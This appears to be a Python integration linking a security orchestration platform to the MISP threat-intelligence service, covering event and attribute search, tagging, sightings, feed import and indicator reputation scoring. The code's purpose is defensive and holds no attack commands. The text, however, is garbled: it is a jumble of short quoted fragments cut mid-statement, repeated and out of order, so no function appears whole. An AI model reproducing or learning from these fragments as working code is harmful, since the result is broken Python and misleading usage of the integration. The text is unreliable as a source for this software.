`{demisto.command()}` command: {response}') for ref in obj.ObjectReference: response","limit) response = PYMISP.search(**args) if response: if outputs_should_include_only_values: response_for_context = build_attributes_search_response_return_only_values(response) number_of_results =","else \"\" def replace_keys_from_misp_to_context_data(obj_to_build: Union[dict, list, str]) -> Union[dict, list, str]: \"\"\" Replacing","in obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in MISP_ENTITIES_TO_CONTEXT_DATA else","create the generic object Returns: GenericObjectGenerator: object created in MISP Example: args should","Common.IP(ip=value, dbot_score=dbot_score) if dbot_type == \"DOMAIN\": return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \"EMAIL\":","suspicious). \"\"\" common_ids = set(malicious_tag_ids) & set(suspicious_tag_ids) suspicious_tag_ids = {tag_id for tag_id in","star in given_object['Galaxy'] ] def build_object_output(event): if event.get('Object'): event['Object'] = [ { 'name':","'include_sightings', 'include_correlations', 'limit', 'page', 'enforceWarninglist', 'include_feed_correlations', ] EVENT_FIELDS = [ 'id', 'orgc_id', 'org_id',","- Usually reliable') if DBotScoreReliability.is_valid_type(reliability): reliability = DBotScoreReliability.get_dbot_score_reliability_from_str(reliability) else: Exception(\"MISP V3 error: Please","dict): \"\"\"Gets an OSINT feed from url and publishing them to MISP urls","url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url = PREDEFINED_FEEDS[url].get('url') # type: ignore","url_parse.netloc}) if url_parse.netloc else None url_obj.append({'fragment': url_parse.fragment}) if url_parse.fragment else None url_obj.append({'port': url_parse.port})","may exist\" else: pagination_message += f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-events","for misp to perform complex query or if no complex query found returns","in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] = [] # there is no","of event \"\"\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in response: raise DemistoException(f'Error","== 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args))","Misp's keys if 'type' in args_to_misp_format: args_to_misp_format['type_attribute'] = args_to_misp_format.pop('type') if 'to_ids' in args_to_misp_format:","ones. Returns: response (dict): The parsed outputs to context data (array of attributes).","= PYMISP.search(**args) if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\"Current","response = requests.get(f'{url}/{uri}.json', verify=use_ssl, headers=headers, proxies=proxies).json() misp_new_event = MISPEvent() misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event)","malicious_tag_ids) if is_attribute_tag_malicious: return Common.DBotScore.BAD, found_tag is_attribute_tag_suspicious = any((found_tag := tag) in attribute_tags_ids","be a positive number.') response = PYMISP._prepare_request('GET', 'servers/getPyMISPVersion.json') if PYMISP._check_json_response(response): return 'ok' else:","'last_seen', 'provider': 'Provider', 'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = {","Test module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute limit has","SIGHTING_TYPE_ID_TO_NAME = { '0': 'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = {","dbot_type == 'FILE': # hashFormat will be used only in output hash_format =","found_tag is one of it's tags. If so, the event will be added","\\nError message: {response}') else: human_readable = f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable,","in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute ID': attribute.get('ID'), 'Event ID': attribute.get('EventID'),","tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag was found","= None is_attribute_tag_malicious = any((found_tag := tag) in attribute_tags_ids for tag in malicious_tag_ids)","args_to_misp_format['date_to'] = args_to_misp_format.pop('to') if 'event_id' in args_to_misp_format: args_to_misp_format['eventid'] = argToList(args_to_misp_format.pop('event_id')) if 'last' in","found in MISP: \\nError message: {response}') else: human_readable = f'Event {event_id} has been","the tag. Args: attribute_dict (dict): The dictionary that includes the tag list. is_event_level","in returning related event when searching for an event build_galaxy_output(events[i]) build_tag_output(events[i]) build_object_output(events[i]) events[i]['timestamp']","event_tags = event_to_human_readable_tag_list(event) event_galaxies = event_to_human_readable_galaxy_list(event) event_objects = event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'),","command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command == 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif","score, events_to_human_readable): found_tag_id, found_tag_name = \"\", \"\" for event in events_to_human_readable: # removing","return Common.Domain(domain=value, dbot_score=dbot_score) if dbot_type == \"EMAIL\": return Common.EMAIL(address=value, dbot_score=dbot_score) if dbot_type ==","url or file hash). dbot_type (str): Indicator type (file, url, domain, email or","return_results(create_event_command(args)) elif command == 'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif command","suspicious. Args: all_attributes (dict): The parsed response from the MISP search attribute request","object to add to MISP event_id: ID of event \"\"\" response = PYMISP.add_object(event_id,","in UT: test_build_misp_complex_filter. For more information please see build_complex_query in pymisp/api.py Args: demisto_query:","'source_format': 'SourceFormat', 'url': 'URL', 'event_uuids': 'EventUUIDS', } MISP_ANALYSIS_TO_IDS = { 'initial': 0, 'ongoing':","2 } MISP_DISTRIBUTION_TO_IDS = { 'Your_organization_only': 0, 'This_community_only': 1, 'Connected_communities': 2, 'All_communities': 3,","false), and the tag is only related to an attribute we would like","user set the arg 'compact' to True\"\"\" if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object))","attribute.get('Type'), 'Attribute Comment': attribute.get('Comment'), 'Attribute Value': attribute.get('Value'), 'Attribute Tags': attribute_tags, 'Attribute Sightings': attribute_sightings,","PREDEFINED_FEEDS = { 'CIRCL': {'name': 'CIRCL OSINT Feed', 'url': 'https://www.circl.lu/doc/misp/feed-osint', 'format': 'misp', 'input':","event.pop('Tag_ID') found_tag_name = event.pop('Tag_Name') return { 'Attribute Type': outputs[0].get('Type'), 'Dbot Score': score, 'Attribute","= PYMISP.untag(uuid, tag) if response and response.get('errors'): raise DemistoException(f'Error in `{demisto.command()}` command: {response}')","of attributes and Events that: * have tags which configured as malicious will","\"\"\" args = prepare_args_to_search('events') page = arg_to_number(demisto_args.get('page', 1), \"page\", required=True) limit = arg_to_number(demisto_args.get('limit',","guardrails-disable-line \"\"\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) ->","match the required indicator value, this function parses the response. This function goes","arg in args_names if demisto_args.get(arg)] def add_ip_object(demisto_args: dict): event_id = demisto_args.get('event_id') ip_object_args =","and url_parse.password else None url_obj.extend(convert_arg_to_misp_args(demisto_args, url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object)","\"\"\" misp_object = GenericObjectGenerator(template_name) misp_object.generate_attributes(args) return misp_object def misp_convert_timestamp_to_date_string(timestamp: Union[str, int]) -> str:","(int): Event ID to add attribute to internal (bool): if set to True,","def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute in response: event = attribute.get('Event',","def build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') } for sighting in","= demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id, obj) def add_domain_object(demisto_args: dict): \"\"\"Adds a","MISPSighting() sigh_obj.from_dict(**sighting_args) response = PYMISP.add_sighting(sigh_obj, att_id) if response.get('message'): raise DemistoException(f\"An error was occurred:","url = demisto_args.get('feed') url = url[:-1] if url.endswith('/') else url if PREDEFINED_FEEDS.get(url): url","response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes) def get_limit_attribute_search_outputs(attributes): for i in range(len(attributes)): attributes[i] = {key: attributes[i].get(key)","ignore from typing import Union, List, Dict from urllib.parse import urlparse import urllib3","if not re.compile(emailRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given email address: {value} is not","search returned from MISP to the context output format. \"\"\" response_object = copy.deepcopy(response)","misp_new_event.load(response) add_event_response = PYMISP.add_event(misp_new_event) event_object = add_event_response.get('Event') if event_object and 'id' in event_object:","added to that existing event. \"\"\" attributes_args = { 'id': demisto_args.get('event_id'), # misp","ignore def event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags: return [tag.get('Name') for tag","= PYMISP.search(value=value, controller='attributes', include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found","attribute dict which includes tags list. found_tag (str): The tag that was scored","= json.loads(json.dumps(response_object)) events = [event.get('Event') for event in response_object] for i in range(0,","'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif command == 'email': return_results(generic_reputation_command(args, 'email', 'EMAIL',","'sighting', '1': 'false_positive', '2': 'expiration' } INDICATOR_TYPE_TO_DBOT_SCORE = { 'FILE': DBotScoreType.FILE, 'URL': DBotScoreType.URL,","args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink': 'https://panacea.threatgrid.com/mask/samples/2e445ef5389d8b'}, {'heuristic_raw_score': 7.8385159793597},","be MISP. \"\"\" headers = {'Accept': 'application/json'} url = build_feed_url(demisto_args) osint_url = f'{url}/manifest.json'","\"Event ID\": event.get(\"id\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] = limit_tag_output","{'heuristic_raw_score': 7.8385159793597}, {'heuristic_score': 96}, {'original_filename': 'juice.exe'}, {'id': '2e445ef5389d8b'}] # guardrails-disable-line \"\"\" misp_object =","if set to True, will not post results to Demisto demisto_args (dict): Demisto","the generic object Returns: GenericObjectGenerator: object created in MISP Example: args should look","enter file hash of format MD5, SHA-1 or SHA-256') if dbot_type == 'IP':","list, str]: same object type that got in \"\"\" if isinstance(obj_to_build, list): return","example) Args: event_id (int): Event ID to add attribute to internal (bool): if","'include_sightings' in args_to_misp_format: args_to_misp_format['include_sightings'] = 1 if demisto_args.get('include_sightings') == 'true' else 0 if","MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\"No attributes found in MISP","response, for more information and examples please see UT: test_extract_error. Args: error: list","attributes = response_object.get('Attribute') return [attribute.get('value') for attribute in attributes] def pagination_args_validation(page, limit): if","not params.get('insecure') PROXIES = handle_proxy() # type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY,","id) about all the events that include the indicator Please see an example","in a valid key in the integration configuration.') MISP_URL = params.get('url') VERIFY =","is in [1,2,3]. Otherwise, the threat level is 4 = Unknown. note: -","Name': found_tag_name, } def limit_tag_output_to_id_and_name(attribute_dict, is_event_level): \"\"\" As tag list can be full","the events that have the tag (i.e found_tag) which caused the indicator to","'last' in args_to_misp_format: args_to_misp_format['publish_timestamp'] = args_to_misp_format.pop('last') if 'include_decay_score' in args_to_misp_format: args_to_misp_format['include_decay_score'] = 1","is set to 1 it says that it is an event's tag. Otherwise","or a positive number\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute in","ones and the event's attribute tags ones as it is part of the","{response}') except PyMISPError: raise DemistoException(\"Removing the required tag was failed. Please make sure","build_misp_complex_filter(demisto_query: str): \"\"\" Examples are available in UT: test_build_misp_complex_filter. For more information please","-> dict: \"\"\" Convert the response of attribute search returned from MISP to","tag. Otherwise (if it is set to 0 or not exists) it says","sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) -> list: \"\"\"returns list of","parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot = Common.DBotScore(indicator=value, indicator_type=indicator_type, score=score, reliability=reliability, malicious_description=\"Match found in","{'type': sighting.get('type') } for sighting in attribute.get('Sighting') ] def build_attributes_search_response_return_only_values(response_object: Union[dict, requests.Response]) ->","tag in event_tags] def event_to_human_readable_galaxy_list(event): event_galaxies = event.get('Galaxy', []) if event_galaxies: return [galaxy.get('Name')","like to add to tag_set_ids all the tags (event ones and the event's","if 'demisto_query' does not contains any of the complex operators the original input","attribute_sightings = [SIGHTING_TYPE_ID_TO_NAME[sighting.get('Type')] for sighting in attribute.get('Sighting')] if attribute.get('Sighting') else None attribute_highlights.append({ 'Attribute","in event_object: events_ids.append({'ID': event_object['id']}) if limit == len(events_ids): break human_readable = tableToMarkdown(f'Total of","in args_to_misp_format: args_to_misp_format['to_ids'] = 1 if demisto_args.get('to_ids') == 'true' else 0 if 'from'","were found in MISP\") indicator = get_dbot_indicator(dbot_type, dbot, value) return CommandResults(indicator=indicator, readable_output=f\"No attributes","if given_object.get('Tag'): given_object['Tag'] = [ {'Name': tag.get('name'), 'is_galaxy': tag.get('is_galaxy') } for tag in","if key in attributes[i]} build_galaxy_output(attributes[i]) build_tag_output(attributes[i]) build_sighting_output_from_attribute_search_response(attributes[i]) convert_timestamp_to_readable(attributes[i], None) formatted_attributes = replace_keys_from_misp_to_context_data(attributes) return","category: attribute_instance.category = category if value: attribute_instance.value = value if comment: attribute_instance.comment =","return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif command","or event, depends on the called function\"\"\" if given_object.get('Tag'): given_object['Tag'] = [ {'Name':","a response in test_data/reputation_command_response.json Please see an example for a parsed output in","[] for attribute in response: event = attribute.get('Event', {}) attribute_tags = [tag.get('Name') for","stronger than events' tags. \"\"\" found_tag = None is_attribute_tag_malicious = any((found_tag := tag)","'PublishTimestamp', 'event_creator_email': 'EventCreatorEmail', 'name': 'Name', 'analysis': 'Analysis', 'threat_level_id': 'ThreatLevelID', 'old_id': 'OldID', 'org_id': 'OrganizationID',","== 'misp-add-events-from-feed': return_results(add_events_from_feed(demisto_args=args, use_ssl=VERIFY, proxies=PROXIES)) elif command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE',","meaning the tags are event's ones. Otherwise, the data is attribute's (attribute tags).","in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag # no tag was found if","positive number\") def attribute_response_to_markdown_table(response: dict): attribute_highlights = [] for attribute in response: event","{new_event.id}.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type,","'org_id': 'OrganizationID', 'Org': 'Organization', 'Orgc': 'OwnerOrganization', 'orgc_uuid': 'OwnerOrganization.UUID', 'orgc_id': 'OwnerOrganization.ID', 'orgc_name': 'OwnerOrganization.Name', 'event_uuid':","make sure the API key is correct.') return_error(error) def warn(*args): \"\"\" Do nothing","'sharing_group_id', 'disable_correlation', 'event_creator_email', 'Org', 'Orgc', 'RelatedEvent', 'Galaxy', 'Tag', 'decay_score', 'Object', 'Feed', ] ATTRIBUTE_FIELDS","malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the indicator score by following logic. Indicators of",":= tag) in event_tags_ids for tag in suspicious_tag_ids) if is_event_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag","= event_to_human_readable_object_list(event) event_highlights.append({ 'Event ID': event.get('ID'), 'Event Tags': event_tags, 'Event Galaxies': event_galaxies, 'Event","in MISP Example: args should look like: [{'analysis_submitted_at': '2018-06-15T06:40:27'}, {'threat_score': {value=95, to_ids=False}}, {'permalink':","event) found_related_events[event.get(\"id\")] = {\"Event Name\": event.get(\"info\"), \"Threat Level ID\": event.get('threat_level_id'), \"Event ID\": event.get(\"id\")}","= PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable = f\"## MISP add attribute\\nNew attribute: {value} was","if is_indicator_found: outputs, score, found_tag, found_related_events = parse_response_reputation_command(misp_response, malicious_tag_ids, suspicious_tag_ids, attributes_limit) dbot =","to event id {new_event.id}.\\n\" return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def","key in EVENT_FIELDS if key in events[i]} events[i]['RelatedEvent'] = [] # there is","event.get('threat_level_id'), \"Event ID\": event.get(\"id\")} if event.get('Tag'): limit_tag_output, tag_ids = limit_tag_output_to_id_and_name(event, True) event['Tag'] =","= handle_proxy() # type: ignore try: PYMISP = ExpandedPyMISP(url=MISP_URL, key=MISP_API_KEY, ssl=VERIFY, proxies=PROXIES) except","malicious_tag_ids, suspicious_tag_ids = handle_tag_duplication_ids(malicious_tag_ids, suspicious_tag_ids) if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif","attributes_limit): \"\"\" Test module. \"\"\" is_tag_list_valid(malicious_tag_ids) is_tag_list_valid(suspicious_tag_ids) if attributes_limit < 0: raise DemistoException('Attribute","is_complex_search def prepare_args_to_search(controller): demisto_args = demisto.args() args_to_misp_format = {arg: demisto_args[arg] for arg in","elif command == 'domain': return_results( generic_reputation_command(args, 'domain', 'DOMAIN', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif","= demisto_args.get('first_seen') last_seen = demisto_args.get('last_seen') attribute_instance = MISPAttribute() attribute_instance.uuid = attribute_uuid if attribute_type:","readable_output=human_readable, outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(updated_event), raw_response=updated_event ) def generic_reputation_command(demisto_args, reputation_type, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability,","None return Common.DBotScore.NONE, None def get_new_misp_event_object(args): \"\"\" Create a new MISP event object","None if not new_event: response = PYMISP.search(eventid=event_id, pythonify=True) if not response: raise DemistoException(","to MISP's arguments types misp_attributes_args = convert_arg_to_misp_args(demisto_args, ip_object_args) ips = argToList(demisto_args.get('ip')) for ip","return_results(delete_event(args)) elif command == 'misp-add-sighting': return_results(add_sighting(args)) elif command == 'misp-add-tag-to-event': return_results(add_tag(args)) elif command","DBotScoreType.IP, 'EMAIL': DBotScoreType.EMAIL, } DOMAIN_REGEX = ( r\"([a-z¡-\\uffff0-9](?:[a-z¡-\\uffff0-9-]{0,61}\" \"[a-z¡-\\uffff0-9])?(?:\\\\.(?!-)[a-z¡-\\uffff0-9-]{1,63}(?<!-))*\" \"\\\\.(?!-)(?!(jpg|jpeg|exif|tiff|tif|png|gif|otf|ttf|fnt|dtd|xhtml|css\" \"|html)$)(?:[a-z¡-\\uffff-]{2,63}|xn--[a-z0-9]{1,59})(?<!-)\\\\.?$\" \"|localhost)\" )","= INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and misp_response.get('Attribute') if is_indicator_found: outputs, score, found_tag, found_related_events","''' GLOBALS/PARAMS ''' params = demisto.params() if not params.get('credentials') or not (MISP_API_KEY :=","be scored by their event's threat level id. In such case, the score","argToList(demisto_args.get(reputation_type), ',') command_results = [] for value in reputation_value_list: command_results.append( get_indicator_results(value, dbot_type, malicious_tag_ids,","= MISPObject('domain-ip') ips = argToList(demisto_args.get('ip')) for ip in ips: obj.add_attribute('ip', value=ip) obj.add_attribute('domain', value=domain)","dbot_type == 'URL': if not re.compile(urlRegex, regexFlags).match(value): raise DemistoException(f\"Error: The given url: {value}","+= f\"Showing page {page}\" md = tableToMarkdown( f\"MISP search-attributes returned {len(response_for_context)} attributes\\n {pagination_message}\",","given email address: {value} is not valid\") def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability,","reliability, attributes_limit)) elif command == 'url': return_results( generic_reputation_command(args, 'url', 'URL', malicious_tag_ids, suspicious_tag_ids, reliability,","only in output hash_format = get_hash_type(value) if hash_format == 'Unknown': raise DemistoException('Invalid hash","= argToList(params.get('malicious_tag_ids')) suspicious_tag_ids = argToList(params.get('suspicious_tag_ids')) reliability = params.get('integrationReliability', 'B - Usually reliable') if","command search-attributes in order to get the information about the attributes. \"\"\" response_object","args: List[dict]) -> GenericObjectGenerator: \"\"\" Args: template_name: template name as described in https://github.com/MISP/misp-objects","elif command == 'file': return_results( generic_reputation_command(args, 'file', 'FILE', malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit)) elif","= PYMISP.update_attribute(attribute=attribute_instance, attribute_id=attribute_uuid) if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\"##","command == 'misp-remove-tag-from-event': return_results(remove_tag(args)) elif command == 'misp-remove-tag-from-attribute': return_results(remove_tag(demisto_args=args, is_attribute=True)) elif command ==","has to be a positive integer, please change the given: '{tag}' id.\") def","test_data/reputation_command_response.json Please see an example for a parsed output in test_data/reputation_command_outputs.json \"\"\" response","attributes_list = sorted(attributes_list, key=lambda attribute_item: attribute_item['event_id'], reverse=True)[:attributes_limit] found_related_events, attributes_tag_ids, event_tag_ids = prepare_attributes_array_to_context_data(attributes_list) attribute_in_event_with_bad_threat_level","get_events_related_to_scored_tag(all_attributes, found_tag) attribute_highlights = reputation_command_to_human_readable(all_attributes, score, events_to_human_readable) readable_output = tableToMarkdown(f'Results found in MISP","CommandResults( readable_output=human_readable, outputs_prefix='MISP.Event', outputs_key_field='ID', outputs=build_events_search_response(event), raw_response=event ) def add_attribute(event_id: int = None, internal:","attributes_limit (int) : Limits the number of attributes that will be written to","and set the event's details. \"\"\" event = MISPEvent() event.distribution = MISP_DISTRIBUTION_TO_IDS[args.get('distribution')] threat_level_id_arg","attributes_limit)) elif command == 'misp-add-file-object': return_results(add_file_object(args)) elif command == 'misp-add-domain-object': return_results(add_domain_object(args)) elif command","= demisto_args.get('entry_id') event_id = demisto_args.get('event_id') file_path = demisto.getFilePath(entry_id).get('path') obj = FileObject(file_path) return add_object(event_id,","errors raised by PYMISP into readable response, for more information and examples please","in MISP: \\nError message: {response}') else: human_readable = f'Event {event_id} has been deleted'","the required tag was failed. Please make sure the UUID exists.\") if is_attribute:","url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query}) if url_parse.query else None url_obj.append({'domain':","the suspicious tag ids set and will be stayed only in the malicious","tag that was scored as malicious or suspicious. event_name (str): Name of the","outputs_prefix='MISP.Attribute', outputs_key_field='ID', outputs=build_attributes_search_response(response), raw_response=response ) # event's uuid response = PYMISP.search(uuid=uuid) human_readable =","event.get('Object')] def event_to_human_readable(response: dict): event_highlights = [] for event in response: event_tags =","there is no need in returning related event when searching for an event","message: {response}') else: human_readable = f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response)","[] for i in range(len(related_events)): if related_events[i] not in related_events[i + 1:]: related_events_no_duplicates.append(related_events[i])","could not be decoded, may not a valid JSON\\nattribute: {attributes}', str(e)) def convert_arg_to_misp_args(demisto_args,","= f'Event {event_id} has been deleted' return CommandResults(readable_output=human_readable, raw_response=response) def add_tag(demisto_args: dict, is_attribute=False):","in attribute_tags_ids for tag in suspicious_tag_ids) if is_attribute_tag_suspicious: return Common.DBotScore.SUSPICIOUS, found_tag is_event_tag_malicious =","build_sighting_output_from_attribute_search_response(attribute): if attribute.get('Sighting'): attribute['Sighting'] = [ {'type': sighting.get('type') } for sighting in attribute.get('Sighting')","in error: return_error('Unable to connect to MISP, ' 'Please make sure the API","if command == 'test-module': return_results(test(malicious_tag_ids=malicious_tag_ids, suspicious_tag_ids=suspicious_tag_ids, attributes_limit=attributes_limit)) elif command == 'misp-create-event': return_results(create_event_command(args)) elif","the tags (event ones and the event's attribute tags ones as it is","attribute {att_id}' return CommandResults(readable_output=human_readable) raise DemistoException(f\"An error was occurred: {json.dumps(response)}\") def test(malicious_tag_ids, suspicious_tag_ids,","= PYMISP.search(uuid=uuid) human_readable = f'Tag {tag} has been successfully removed from the event","back ATTRIBUTE_FIELDS.append('RelatedAttribute') if isinstance(response_object, str): response_object = json.loads(json.dumps(response_object)) attributes = response_object.get('Attribute') return get_limit_attribute_search_outputs(attributes)","demisto_args.get('type') distribution = demisto_args.get('distribution') category = demisto_args.get('category') comment = demisto_args.get('comment') value = demisto_args.get('value')","hash). dbot_type (str): Indicator type (file, url, domain, email or ip). malicious_tag_ids (set):","= [] # there is no need in returning related event when searching","MISP event_id: ID of event \"\"\" response = PYMISP.add_object(event_id, misp_object=obj) if 'errors' in","if event_id else None distribution = demisto_args.get('distribution') attributes_args.update({'distribution': MISP_DISTRIBUTION_TO_IDS[distribution]}) if distribution else None","'misp-add-attribute': return_results(add_attribute(demisto_args=args)) elif command == 'misp-search-events': return_results(search_events(args)) elif command == 'misp-search-attributes': return_results(search_attributes(args)) elif","if isinstance(attribute_instance_response, dict) and attribute_instance_response.get('errors'): raise DemistoException(attribute_instance_response.get('errors')) human_readable = f\"## MISP update attribute\\nAttribute:","event.get('Info'), 'Event Org ID': event.get('OrganizationID'), 'Event Orgc ID': event.get('OwnerOrganization.ID'), 'Event Distribution': event.get('Distribution'), 'Event","if \"NewConnectionError\" in error: return_error('Unable to connect to MISP because of a NewConnectionError,","and by sub-functions calculated the score of the indicator. For the context data","is not a valid MISP feed. error: {e}') def add_object(event_id: str, obj: MISPObject):","event_tag_ids def convert_timestamp_to_readable(attribute, event): if attribute.get('timestamp'): attribute['timestamp'] = misp_convert_timestamp_to_date_string(attribute.get('timestamp')) if event: if event.get('timestamp'):","star.get('name'), 'type': star.get('type'), 'description': star.get('description') } for star in given_object['Galaxy'] ] def build_object_output(event):","because of a SSLCertVerificationError, ' 'Please try to use the Trust any certificate","tags (both malicious and suspicious) are stronger than events' tags. \"\"\" found_tag =","'Event Distribution': event.get('Distribution'), 'Event UUID': event.get('UUID') }) return attribute_highlights def search_attributes(demisto_args: dict) ->","ids and Suspicious tag ids lists the indicator will be scored as malicious.","or attribute. is_attribute (bool): if the given UUID belongs to an attribute (True)","sha1=value) if hash_type == 'sha256': return Common.File(dbot_score=dbot_score, sha256=value) if dbot_type == \"IP\": return","get_event_id(object_data_dict) tag_name = tag.get('Name') related_events.append({'Event_ID': event_id, 'Event_Name': event_name, 'Tag_Name': tag_name, 'Tag_ID': tag.get('ID')}) return","valid positive integers.\"\"\" for tag in tag_ids: try: tag = int(tag) if tag","'False')) return event def create_event_command(demisto_args: dict): \"\"\"Creating event in MISP with the given","for item in obj_to_build] if isinstance(obj_to_build, dict): return { (MISP_ENTITIES_TO_CONTEXT_DATA[key] if key in","indicator score found_tag: the tag (id) which made the indicator to get that","url object in MISP scheme Scheme described https://www.misp-project.org/objects.html#_url \"\"\" url_args = [ 'text',","if not is_event_tag: tag_set_ids.add(tag_id) output.append({'ID': tag_id, 'Name': tag.get('name')}) return output, tag_set_ids def parse_response_reputation_command(misp_response,","to Demisto demisto_args (dict): Demisto args new_event (MISPEvent): When this function was called","url_args)) g_object = build_generic_object('url', url_obj) return add_object(event_id, g_object) def add_generic_object_command(demisto_args: dict): event_id =","False def get_score(attribute_tags_ids, event_tags_ids, malicious_tag_ids, suspicious_tag_ids, is_attribute_in_event_with_bad_threat_level): \"\"\" Calculates the indicator score by","MISP's format to Demisto's (as appear in ENTITIESDICT) Args: obj_to_build (Union[dict, list, str]):","says that it is an attribute's tag. If the data is event's (is_event_level","return add_object(event_id, obj) else: raise DemistoException( f'None of required arguments presents. command {demisto.command()}","include_context=True, include_correlations=True, include_event_tags=True, enforce_warninglist=True, include_decay_score=True, includeSightings=True) indicator_type = INDICATOR_TYPE_TO_DBOT_SCORE[dbot_type] is_indicator_found = misp_response and","in found_related_events.values(): if event['Threat Level ID'] in bad_threat_level_ids: return True return False def","event_to_human_readable_tag_list(event): event_tags = event.get('Tag', []) if event_tags: return [tag.get('Name') for tag in event_tags]","tag = demisto_args.get('tag') try: PYMISP.tag(uuid, tag) # add the tag except PyMISPError: raise","'ok' else: raise DemistoException('MISP has not connected.') def build_feed_url(demisto_args): url = demisto_args.get('feed') url","def create_event_command(demisto_args: dict): \"\"\"Creating event in MISP with the given attribute args\"\"\" new_event","correct.') return_error(error) def warn(*args): \"\"\" Do nothing with warnings \"\"\" pass # Disable","url_parse.scheme}) if url_parse.scheme else None url_obj.append({'resource_path': url_parse.path}) if url_parse.path else None url_obj.append({'query_string': url_parse.query})","tags ones as it is part of the event scope). If the data","def get_indicator_results(value, dbot_type, malicious_tag_ids, suspicious_tag_ids, reliability, attributes_limit): \"\"\" This function searches for the","Returns: Union[dict, list, str]: same object type that got in \"\"\" if isinstance(obj_to_build,","will be written to the context Returns: CommandResults includes all the indicator results.","= arg_to_number(demisto_args.get('limit', 2), \"limit\", required=True) try: uri_list = requests.get(osint_url, verify=use_ssl, headers=headers, proxies=proxies).json() events_ids","* have tags which configured as suspicious will be scored 2 (i.e suspicious).","raise DemistoException(f\"Error: The given domain: {value} is not valid\") if dbot_type == 'URL':","event = attribute.get('Event', {}) attribute_tags = [tag.get('Name') for tag in attribute.get('Tag')] if attribute.get(","PYMISP.update_event(event=new_event) if internal: return value = attributes_args.get('value') updated_event = PYMISP.search(eventid=new_event.id, controller='attributes', value=value) human_readable","if response: response_for_context = build_events_search_response(response) event_outputs_to_human_readable = event_to_human_readable(response_for_context) pagination_message = f\"Current page size:","added to attribute {uuid}' return CommandResults( readable_output=human_readable, outputs_prefix='MISP.Attribute', 